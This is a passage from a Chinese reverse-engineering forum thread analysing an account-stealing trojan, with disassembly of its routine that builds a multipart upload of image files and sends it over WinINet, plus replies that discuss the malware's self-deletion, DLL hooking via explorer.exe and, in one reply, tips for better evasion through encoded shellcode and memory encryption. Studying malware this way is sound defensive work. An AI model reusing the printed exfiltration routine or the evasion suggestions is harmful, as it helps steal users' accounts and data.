0040346F    FF15 88404000   call    dword ptr [<&kernel32.VirtualAll>; kernel32.VirtualAllocEx
00403475    8BF8            mov     edi, eax
00403477    3BFB            cmp     edi, ebx
00403479    897D F4         mov     dword ptr [ebp-0xC], edi
0040347C    75 07           jnz     short 00403485
0040347E    33C0            xor     eax, eax
00403480    E9 02010000     jmp     00403587
00403485    57              push    edi
00403486    FF75 F8         push    dword ptr [ebp-0x8]
00403489    FF75 F0         push    dword ptr [ebp-0x10]
0040348C    FF55 DC         call    dword ptr [ebp-0x24]
0040348F    395D F0         cmp     dword ptr [ebp-0x10], ebx
00403492    895D FC         mov     dword ptr [ebp-0x4], ebx
00403495    76 37           jbe     short 004034CE
00403497    8D77 30         lea     esi, dword ptr [edi+0x30]
0040349A    FF75 10         /push    dword ptr [ebp+0x10]
0040349D    FF36            |push    dword ptr [esi]
0040349F    FF15 30414000   |call    dword ptr [<&msvcrt.wcscmp>]    ; msvcrt.wcscmp
004034A5    59              |pop     ecx
004034A6    85C0            |test    eax, eax
004034A8    59              |pop     ecx
004034A9    74 10           |je      short 004034BB
004034AB    FF45 FC         |inc     dword ptr [ebp-0x4]
004034AE    83C6 4C         |add     esi, 0x4C
004034B1    8B45 FC         |mov     eax, dword ptr [ebp-0x4]
004034B4    3B45 F0         |cmp     eax, dword ptr [ebp-0x10]
004034B7  ^ 72 E1           \jb      short 0040349A
004034B9    EB 13           jmp     short 004034CE
004034BB    8B75 FC         mov     esi, dword ptr [ebp-0x4]
004034BE    8D7D B8         lea     edi, dword ptr [ebp-0x48]
004034C1    6BF6 4C         imul    esi, esi, 0x4C
004034C4    0375 F4         add     esi, dword ptr [ebp-0xC]
004034C7    A5              movs    dword ptr es:[edi], dword ptr [e>
004034C8    A5              movs    dword ptr es:[edi], dword ptr [e>
004034C9    A5              movs    dword ptr es:[edi], dword ptr [e>
004034CA    A5              movs    dword ptr es:[edi], dword ptr [e>
004034CB    8B7D F4         mov     edi, dword ptr [ebp-0xC]
004034CE    68 00400000     push    0x4000
004034D3    FF75 F8         push    dword ptr [ebp-0x8]
004034D6    57              push    edi
004034D7    6A FF           push    -0x1
004034D9    FF15 A8404000   call    dword ptr [<&kernel32.VirtualFre>; kernel32.VirtualFreeEx
004034DF    66:A1 C8654000  mov     ax, word ptr [0x4065C8]
004034E5    B9 81000000     mov     ecx, 0x81
004034EA    66:8985 B0FDFFF>mov     word ptr [ebp-0x250], ax
004034F1    33C0            xor     eax, eax
004034F3    8DBD B2FDFFFF   lea     edi, dword ptr [ebp-0x24E]
004034F9    68 04010000     push    0x104
004034FE    F3:AB           rep     stos dword ptr es:[edi]
00403500    66:AB           stos    word ptr es:[edi]
00403502    8D85 B0FDFFFF   lea     eax, dword ptr [ebp-0x250]
00403508    50              push    eax
00403509    FF75 08         push    dword ptr [ebp+0x8]
0040350C    E8 AF040000     call    <jmp.&msvcrt.strlen>
00403511    59              pop     ecx
00403512    8B35 B0404000   mov     esi, dword ptr [<&kernel32.Multi>; kernel32.MultiByteToWideChar
00403518    50              push    eax
00403519    FF75 08         push    dword ptr [ebp+0x8]
0040351C    53              push    ebx
0040351D    53              push    ebx
0040351E    FFD6            call    esi
00403520    66:A1 C8654000  mov     ax, word ptr [0x4065C8]
00403526    B9 81000000     mov     ecx, 0x81
0040352B    66:8985 A8FBFFF>mov     word ptr [ebp-0x458], ax
00403532    33C0            xor     eax, eax
00403534    8DBD AAFBFFFF   lea     edi, dword ptr [ebp-0x456]
0040353A    68 04010000     push    0x104
0040353F    F3:AB           rep     stos dword ptr es:[edi]
00403541    66:AB           stos    word ptr es:[edi]
00403543    8D85 A8FBFFFF   lea     eax, dword ptr [ebp-0x458]
00403549    50              push    eax
0040354A    FF75 0C         push    dword ptr [ebp+0xC]
0040354D    E8 6E040000     call    <jmp.&msvcrt.strlen>
00403552    59              pop     ecx
00403553    50              push    eax
00403554    FF75 0C         push    dword ptr [ebp+0xC]
00403557    53              push    ebx
00403558    53              push    ebx
00403559    FFD6            call    esi
0040355B    8D45 EC         lea     eax, dword ptr [ebp-0x14]
0040355E    895D EC         mov     dword ptr [ebp-0x14], ebx
00403561    50              push    eax
00403562    8D85 B0FDFFFF   lea     eax, dword ptr [ebp-0x250]
00403568    50              push    eax
00403569    FF55 E8         call    dword ptr [ebp-0x18]
0040356C    8D45 B8         lea     eax, dword ptr [ebp-0x48]
0040356F    53              push    ebx
00403570    50              push    eax
00403571    8D85 A8FBFFFF   lea     eax, dword ptr [ebp-0x458]
00403577    50              push    eax
00403578    FF75 EC         push    dword ptr [ebp-0x14]
0040357B    FF55 E4         call    dword ptr [ebp-0x1C]
0040357E    FF75 EC         push    dword ptr [ebp-0x14]
00403581    FF55 E0         call    dword ptr [ebp-0x20]
00403584    6A 01           push    0x1
00403586    58              pop     eax
00403587    5F              pop     edi
00403588    5E              pop     esi
00403589    5B              pop     ebx
0040358A    C9              leave
0040358B    C2 0C00         retn    0xC
取到GDI相关的API,还是处理图像了。
}
好了不看这些无聊的了,看一下它网络连接的部分:
创建上传数据用的内存映射文件:
0040233A    55              push    ebp
0040233B    8BEC            mov     ebp, esp
0040233D    B8 C8180000     mov     eax, 0x18C8
00402342    E8 99160000     call    004039E0
00402347    A0 74644000     mov     al, byte ptr [0x406474]
0040234C    53              push    ebx
0040234D    56              push    esi
0040234E    57              push    edi
0040234F    8885 38E7FFFF   mov     byte ptr [ebp-0x18C8], al
00402355    B9 FF040000     mov     ecx, 0x4FF
0040235A    33C0            xor     eax, eax
0040235C    8DBD 39E7FFFF   lea     edi, dword ptr [ebp-0x18C7]
00402362    F3:AB           rep     stos dword ptr es:[edi]
00402364    66:AB           stos    word ptr es:[edi]
00402366    AA              stos    byte ptr es:[edi]
00402367    8D85 38E7FFFF   lea     eax, dword ptr [ebp-0x18C8]
0040236D    50              push    eax
0040236E    8D85 38FFFFFF   lea     eax, dword ptr [ebp-0xC8]
00402374    50              push    eax
00402375    FF75 08         push    dword ptr [ebp+0x8]
00402378    E8 37050000     call    004028B4
0040237D    33DB            xor     ebx, ebx
0040237F    8945 FC         mov     dword ptr [ebp-0x4], eax
00402382    3BC3            cmp     eax, ebx
00402384    0F84 10010000   je      0040249A
0040238A    6A 5C           push    0x5C
0040238C    FF75 0C         push    dword ptr [ebp+0xC]
0040238F    FF15 24414000   call    dword ptr [<&msvcrt.strrchr>]    ; msvcrt.strrchr
00402395    59              pop     ecx
00402396    3BC3            cmp     eax, ebx
00402398    59              pop     ecx
00402399    74 03           je      short 0040239E
0040239B    40              inc     eax
0040239C    EB 03           jmp     short 004023A1
0040239E    8B45 0C         mov     eax, dword ptr [ebp+0xC]
004023A1    50              push    eax
004023A2    8D85 38FBFFFF   lea     eax, dword ptr [ebp-0x4C8]
004023A8    68 74584000     push    00405874                         ; fileupload\n\ncontent-disposition: form-data; name="file1"; filename="%s"\n\ncontent-type: image/bmp\n\n\n\n
004023AD    50              push    eax
004023AE    FF15 28414000   call    dword ptr [<&msvcrt.sprintf>]    ; msvcrt.sprintf
004023B4    BE 60584000     mov     esi, 00405860                    ; \n\nfileupload--\n\n
004023B9    8D7D D8         lea     edi, dword ptr [ebp-0x28]
004023BC    A5              movs    dword ptr es:[edi], dword ptr [e>
004023BD    A5              movs    dword ptr es:[edi], dword ptr [e>
004023BE    A5              movs    dword ptr es:[edi], dword ptr [e>
004023BF    A5              movs    dword ptr es:[edi], dword ptr [e>
004023C0    6A 08           push    0x8
004023C2    8D45 C1         lea     eax, dword ptr [ebp-0x3F]
004023C5    59              pop     ecx
004023C6    FF75 18         push    dword ptr [ebp+0x18]
004023C9    A4              movs    byte ptr es:[edi], byte ptr [esi>
004023CA    BE 40584000     mov     esi, 00405840                    ; referer:
004023CF    8D7D B8         lea     edi, dword ptr [ebp-0x48]
004023D2    F3:A5           rep     movs dword ptr es:[edi], dword p>
004023D4    50              push    eax
004023D5    E8 F2150000     call    <jmp.&msvcrt._mbscpy>
004023DA    83C4 14         add     esp, 0x14
004023DD    8D45 B8         lea     eax, dword ptr [ebp-0x48]
004023E0    C745 F0 0858400>mov     dword ptr [ebp-0x10], 00405808   ; content-type: multipart/form-data;boundary=fileupload
004023E7    8945 F4         mov     dword ptr [ebp-0xC], eax
004023EA    53              push    ebx
004023EB    53              push    ebx
004023EC    6A 03           push    0x3
004023EE    53              push    ebx
004023EF    6A 01           push    0x1
004023F1    68 00000080     push    0x80000000
004023F6    FF75 0C         push    dword ptr [ebp+0xC]
004023F9    895D 18         mov     dword ptr [ebp+0x18], ebx
004023FC    FF15 00414000   call    dword ptr [<&kernel32.CreateFile>; kernel32.CreateFileA
00402402    83F8 FF         cmp     eax, -0x1
00402405    8945 08         mov     dword ptr [ebp+0x8], eax
00402408    0F84 8C000000   je      0040249A
0040240E    53              push    ebx
0040240F    50              push    eax
00402410    FF15 F8404000   call    dword ptr [<&kernel32.GetFileSiz>; kernel32.GetFileSize
00402416    8945 0C         mov     dword ptr [ebp+0xC], eax
00402419    8D85 38FBFFFF   lea     eax, dword ptr [ebp-0x4C8]
0040241F    50              push    eax
00402420    E8 9B150000     call    <jmp.&msvcrt.strlen>
00402425    8BF8            mov     edi, eax
00402427    8D45 D8         lea     eax, dword ptr [ebp-0x28]
0040242A    50              push    eax
0040242B    E8 90150000     call    <jmp.&msvcrt.strlen>
00402430    59              pop     ecx
00402431    8D3438          lea     esi, dword ptr [eax+edi]
00402434    0375 0C         add     esi, dword ptr [ebp+0xC]
00402437    59              pop     ecx
00402438    6A 04           push    0x4
0040243A    68 00100000     push    0x1000
0040243F    56              push    esi
00402440    53              push    ebx
00402441    6A FF           push    -0x1
00402443    8945 F8         mov     dword ptr [ebp-0x8], eax
00402446    FF15 88404000   call    dword ptr [<&kernel32.VirtualAll>; kernel32.VirtualAllocEx
0040244C    8BD8            mov     ebx, eax
0040244E    85DB            test    ebx, ebx
00402450    74 3B           je      short 0040248D
00402452    8D85 38FBFFFF   lea     eax, dword ptr [ebp-0x4C8]
00402458    57              push    edi
00402459    50              push    eax
0040245A    53              push    ebx
0040245B    E8 66150000     call    <jmp.&msvcrt.memcpy>
00402460    83C4 0C         add     esp, 0xC
00402463    8D45 EC         lea     eax, dword ptr [ebp-0x14]
00402466    03FB            add     edi, ebx
00402468    6A 00           push    0x0
0040246A    50              push    eax
0040246B    FF75 0C         push    dword ptr [ebp+0xC]
0040246E    57              push    edi
0040246F    FF75 08         push    dword ptr [ebp+0x8]
00402472    FF15 FC404000   call    dword ptr [<&kernel32.ReadFile>] ; kernel32.ReadFile
00402478    FF75 F8         push    dword ptr [ebp-0x8]
0040247B    8D45 D8         lea     eax, dword ptr [ebp-0x28]
0040247E    50              push    eax
0040247F    8B45 0C         mov     eax, dword ptr [ebp+0xC]
00402482    03F8            add     edi, eax
00402484    57              push    edi
00402485    E8 3C150000     call    <jmp.&msvcrt.memcpy>
0040248A    83C4 0C         add     esp, 0xC
0040248D    FF75 08         push    dword ptr [ebp+0x8]
00402490    FF15 0C414000   call    dword ptr [<&kernel32.CloseHandl>; kernel32.CloseHandle
00402496    85DB            test    ebx, ebx
00402498    75 04           jnz     short 0040249E
0040249A    33C0            xor     eax, eax
0040249C    EB 3F           jmp     short 004024DD
0040249E    FF75 FC         push    dword ptr [ebp-0x4]
004024A1    8D45 F0         lea     eax, dword ptr [ebp-0x10]
004024A4    6A 01           push    0x1
004024A6    5F              pop     edi
004024A7    57              push    edi
004024A8    FF75 14         push    dword ptr [ebp+0x14]
004024AB    FF75 10         push    dword ptr [ebp+0x10]
004024AE    56              push    esi
004024AF    53              push    ebx
004024B0    6A 02           push    0x2
004024B2    50              push    eax
004024B3    8D85 38E7FFFF   lea     eax, dword ptr [ebp-0x18C8]
004024B9    50              push    eax
004024BA    8D85 38FFFFFF   lea     eax, dword ptr [ebp-0xC8]
004024C0    50              push    eax
004024C1    E8 FBFCFFFF     call    004021C1
004024C6    85C0            test    eax, eax
004024C8    74 03           je      short 004024CD
004024CA    897D 18         mov     dword ptr [ebp+0x18], edi
004024CD    68 00400000     push    0x4000
004024D2    56              push    esi
004024D3    53              push    ebx
004024D4    FF15 10414000   call    dword ptr [<&kernel32.VirtualFre>; kernel32.VirtualFree
004024DA    8B45 18         mov     eax, dword ptr [ebp+0x18]
004024DD    5F              pop     edi
004024DE    5E              pop     esi
004024DF    5B              pop     ebx
004024E0    C9              leave
004024E1    C2 1400         retn    0x14
OK,看下上传和下载部分:
 
004021C1    55              push    ebp
004021C2    8BEC            mov     ebp, esp
004021C4    83EC 34         sub     esp, 0x34
004021C7    53              push    ebx
004021C8    56              push    esi
004021C9    33F6            xor     esi, esi
004021CB    33DB            xor     ebx, ebx
004021CD    56              push    esi
004021CE    56              push    esi
004021CF    56              push    esi
004021D0    56              push    esi
004021D1    68 00584000     push    00405800                         ; wininet
004021D6    FF15 A8414000   call    dword ptr [<&wininet.InternetOpe>; wininet.InternetOpenA
004021DC    3BC6            cmp     eax, esi
004021DE    8945 F4         mov     dword ptr [ebp-0xC], eax
004021E1    0F84 4B010000   je      00402332
004021E7    56              push    esi
004021E8    56              push    esi
004021E9    6A 03           push    0x3
004021EB    56              push    esi
004021EC    56              push    esi
004021ED    FF75 2C         push    dword ptr [ebp+0x2C]
004021F0    FF75 08         push    dword ptr [ebp+0x8]
004021F3    50              push    eax
004021F4    FF15 A4414000   call    dword ptr [<&wininet.InternetCon>; wininet.InternetConnectA
004021FA    3BC6            cmp     eax, esi
004021FC    8945 F8         mov     dword ptr [ebp-0x8], eax
004021FF    0F84 24010000   je      00402329
00402205    3975 28         cmp     dword ptr [ebp+0x28], esi
00402208    B8 F8574000     mov     eax, 004057F8                    ; post
0040220D    75 05           jnz     short 00402214
0040220F    B8 F4574000     mov     eax, 004057F4                    ; get
00402214    56              push    esi
00402215    56              push    esi
00402216    56              push    esi
00402217    56              push    esi
00402218    56              push    esi
00402219    FF75 0C         push    dword ptr [ebp+0xC]
0040221C    50              push    eax
0040221D    FF75 F8         push    dword ptr [ebp-0x8]
00402220    FF15 A0414000   call    dword ptr [<&wininet.HttpOpenReq>; wininet.HttpOpenRequestA
00402226    3BC6            cmp     eax, esi
00402228    8945 2C         mov     dword ptr [ebp+0x2C], eax
0040222B    0F84 EF000000   je      00402320
00402231    57              push    edi
00402232    6A 09           push    0x9
00402234    59              pop     ecx
00402235    33C0            xor     eax, eax
00402237    8D7D D0         lea     edi, dword ptr [ebp-0x30]
0040223A    F3:AB           rep     stos dword ptr es:[edi]
0040223C    8B7D 10         mov     edi, dword ptr [ebp+0x10]
0040223F    8B45 1C         mov     eax, dword ptr [ebp+0x1C]
00402242    3BFE            cmp     edi, esi
00402244    C745 CC 2800000>mov     dword ptr [ebp-0x34], 0x28
0040224B    8945 E8         mov     dword ptr [ebp-0x18], eax
0040224E    74 2B           je      short 0040227B
00402250    8B45 14         mov     eax, dword ptr [ebp+0x14]
00402253    3BC6            cmp     eax, esi
00402255    7E 24           jle     short 0040227B
00402257    8945 08         mov     dword ptr [ebp+0x8], eax
0040225A    68 00000020     /push    0x20000000
0040225F    FF37            |push    dword ptr [edi]
00402261    E8 5A170000     |call    <jmp.&msvcrt.strlen>
00402266    59              |pop     ecx
00402267    50              |push    eax
00402268    FF37            |push    dword ptr [edi]
0040226A    FF75 2C         |push    dword ptr [ebp+0x2C]
0040226D    FF15 9C414000   |call    dword ptr [<&wininet.HttpAddReq>; wininet.HttpAddRequestHeadersA
00402273    83C7 04         |add     edi, 0x4
00402276    FF4D 08         |dec     dword ptr [ebp+0x8]
00402279  ^ 75 DF           \jnz     short 0040225A
0040227B    56              push    esi
0040227C    56              push    esi
0040227D    8D45 CC         lea     eax, dword ptr [ebp-0x34]
00402280    56              push    esi
00402281    50              push    eax
00402282    FF75 2C         push    dword ptr [ebp+0x2C]
00402285    FF15 98414000   call    dword ptr [<&wininet.HttpSendReq>; wininet.HttpSendRequestExA
0040228B    85C0            test    eax, eax
0040228D    BF 00280000     mov     edi, 0x2800
00402292    74 3B           je      short 004022CF
00402294    3975 18         cmp     dword ptr [ebp+0x18], esi
00402297    74 36           je      short 004022CF
00402299    33DB            xor     ebx, ebx
0040229B    3975 1C         cmp     dword ptr [ebp+0x1C], esi
0040229E    76 2F           jbe     short 004022CF
004022A0    8B45 1C         /mov     eax, dword ptr [ebp+0x1C]
004022A3    8975 FC         |mov     dword ptr [ebp-0x4], esi
004022A6    2BC3            |sub     eax, ebx
004022A8    3BC7            |cmp     eax, edi
004022AA    76 02           |jbe     short 004022AE
004022AC    8BC7            |mov     eax, edi
004022AE    8D4D FC         |lea     ecx, dword ptr [ebp-0x4]
004022B1    51              |push    ecx
004022B2    50              |push    eax
004022B3    8B45 18         |mov     eax, dword ptr [ebp+0x18]
004022B6    03C3            |add     eax, ebx
004022B8    50              |push    eax
004022B9    FF75 2C         |push    dword ptr [ebp+0x2C]
004022BC    FF15 94414000   |call    dword ptr [<&wininet.InternetWr>; wininet.InternetWriteFile
004022C2    3975 FC         |cmp     dword ptr [ebp-0x4], esi
004022C5    74 08           |je      short 004022CF
004022C7    035D FC         |add     ebx, dword ptr [ebp-0x4]
004022CA    3B5D 1C         |cmp     ebx, dword ptr [ebp+0x1C]
004022CD  ^ 72 D1           \jb      short 004022A0
004022CF    56              push    esi
004022D0    56              push    esi
004022D1    56              push    esi
004022D2    FF75 2C         push    dword ptr [ebp+0x2C]
004022D5    FF15 B4414000   call    dword ptr [<&wininet.HttpEndRequ>; wininet.HttpEndRequestA
004022DB    3975 20         cmp     dword ptr [ebp+0x20], esi
004022DE    74 36           je      short 00402316
004022E0    33DB            xor     ebx, ebx
004022E2    3975 24         cmp     dword ptr [ebp+0x24], esi
004022E5    76 2F           jbe     short 00402316
004022E7    8B45 24         /mov     eax, dword ptr [ebp+0x24]
004022EA    8975 FC         |mov     dword ptr [ebp-0x4], esi
004022ED    2BC3            |sub     eax, ebx
004022EF    3BC7            |cmp     eax, edi
004022F1    76 02           |jbe     short 004022F5
004022F3    8BC7            |mov     eax, edi
004022F5    8D4D FC         |lea     ecx, dword ptr [ebp-0x4]
004022F8    51              |push    ecx
004022F9    50              |push    eax
004022FA    8B45 20         |mov     eax, dword ptr [ebp+0x20]
004022FD    03C3            |add     eax, ebx
004022FF    50              |push    eax
00402300    FF75 2C         |push    dword ptr [ebp+0x2C]
00402303    FF15 AC414000   |call    dword ptr [<&wininet.InternetRe>; wininet.InternetReadFile
00402309    3975 FC         |cmp     dword ptr [ebp-0x4], esi
0040230C    74 08           |je      short 00402316
0040230E    035D FC         |add     ebx, dword ptr [ebp-0x4]
00402311    3B5D 24         |cmp     ebx, dword ptr [ebp+0x24]
00402314  ^ 72 D1           \jb      short 004022E7
00402316    FF75 2C         push    dword ptr [ebp+0x2C]
00402319    FF15 B0414000   call    dword ptr [<&wininet.InternetClo>; wininet.InternetCloseHandle
0040231F    5F              pop     edi
00402320    FF75 F8         push    dword ptr [ebp-0x8]
00402323    FF15 B0414000   call    dword ptr [<&wininet.InternetClo>; wininet.InternetCloseHandle
00402329    FF75 F4         push    dword ptr [ebp-0xC]
0040232C    FF15 B0414000   call    dword ptr [<&wininet.InternetClo>; wininet.InternetCloseHandle
00402332    8BC3            mov     eax, ebx
00402334    5E              pop     esi
00402335    5B              pop     ebx
00402336    C9              leave
00402337    C2 2800         retn    0x28
OK,到这里基本上就分析完了……
比较遗憾的是由于这个释放的DLL存放的路径以及基址和PE信息导致我们没有办法自己些loader来载入这个DLL现场调试,所以就看了个大概。

通过这个盗号病毒,我们学习了如何让程序通过批处理删除自身,如果让一个程序即能以EXE方式运行又能以DLL方式加载……
还有其它很多的新的东西有待我们学习(比如内存映射文件,Internet的操作:比如程序的自动更新,等等)。
regedit1.jpg
regedit2.jpg
regedit3.jpg

免费评分

参与人数 3威望 +2 热心值 +1 收起 理由
h2995527 + 1 太棒了!!!精彩
itcool + 1 继续加油
roxiel + 1 鼓励原创分析

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| datochan 发表于 2009-10-24 21:16
第一次正八经儿的分析病毒,感觉还不错,嘿嘿。
发在这里感觉有点班门弄斧,让大家笑话了……
zapline 发表于 2009-10-24 21:18
太认真了
我要好好锻炼下自己
不能老是沉不住气
Hmily 发表于 2009-10-24 21:47
太牛逼了......膜拜船哥大作,分析的好详细啊.....太强了
smallyou93 发表于 2009-10-24 22:07
添加到"病毒分析的精华文章索引"中
惜双双 发表于 2009-10-25 00:20
本帖最后由 惜双双 于 2009-10-25 00:24 编辑

这病毒有点脆弱.

应该好好补习下ShellCode编码技术..

以及内存加密模版的使用...

话说回来..能让EXE既可以执行又能当DLL加载..

这点倒挺有趣的..变形金刚啊
小旭 发表于 2009-10-26 10:57
学习了!!
a99521520 发表于 2009-10-26 18:45
强。。。学习下
itcool 发表于 2009-10-27 17:38
分析的很详细..继续加油
itcool 发表于 2009-10-27 17:55
删除  verclsid.exe 的原因 "应该" 是为了 explorer.exe 重起后 dll的正常运行..
因为 不删除 verclsid.exe文件,加载dll的进程是 verclsid.exe ,而删除了 加载dll的进程就是 explorer.exe,
这样就能设置 钩子

免费评分

参与人数 1热心值 +1 收起 理由
h576363503 + 1 加油

查看全部评分

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-23 06:54

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表